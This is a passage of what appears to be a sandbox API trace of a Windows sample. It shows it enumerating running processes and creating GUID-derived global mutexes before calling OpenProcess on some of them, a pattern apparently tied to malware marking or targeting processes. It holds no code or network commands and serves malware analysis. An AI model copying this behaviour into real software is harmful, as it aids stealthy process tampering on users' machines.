out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0116.988] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.989] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0116.990] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.990] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.991] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.086] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.087] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.088] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0117.089] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.090] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0117.091] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0117.091] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13d8 [0117.091] GetLastError () returned 0xb7 [0117.091] CloseHandle (hObject=0x13d8) returned 1 [0117.091] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0117.092] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0117.093] CloseHandle (hObject=0x13e0) returned 1 [0117.093] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0117.273] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0117.276] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0117.276] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0117.277] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0117.278] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.279] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0117.280] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0117.280] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0117.281] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0117.282] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0117.283] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0117.284] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.284] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.285] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.286] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.287] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.288] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0117.289] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.290] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.290] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0117.291] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.292] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.293] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0117.293] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0117.293] GetLastError () returned 0xb7 [0117.293] CloseHandle (hObject=0x56c) returned 1 [0117.293] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0117.294] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0117.294] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0117.294] GetLastError () returned 0xb7 [0117.294] CloseHandle (hObject=0x56c) returned 1 [0117.294] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0117.295] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.296] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0117.296] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0117.296] GetLastError () returned 0x0 [0117.296] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0117.296] CloseHandle (hObject=0x56c) returned 1 [0117.296] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.297] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0117.297] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0117.297] GetLastError () returned 0x0 [0117.297] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0117.297] CloseHandle (hObject=0x56c) returned 1 [0117.297] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0117.298] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0117.298] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0117.298] GetLastError () returned 0xb7 [0117.298] CloseHandle (hObject=0x56c) returned 1 [0117.298] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0117.299] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0117.299] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0117.299] GetLastError () returned 0x0 [0117.299] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0117.299] CloseHandle (hObject=0x56c) returned 1 [0117.299] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0117.300] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0117.301] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0117.301] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0117.302] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0117.303] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0117.304] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0117.305] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0117.306] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0117.307] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0117.307] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0117.308] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0117.309] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0117.310] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0117.311] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0117.311] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0117.312] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0117.313] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0117.314] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0117.315] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0117.316] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0117.316] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.317] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0117.318] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.319] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.413] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.414] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.415] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0117.416] 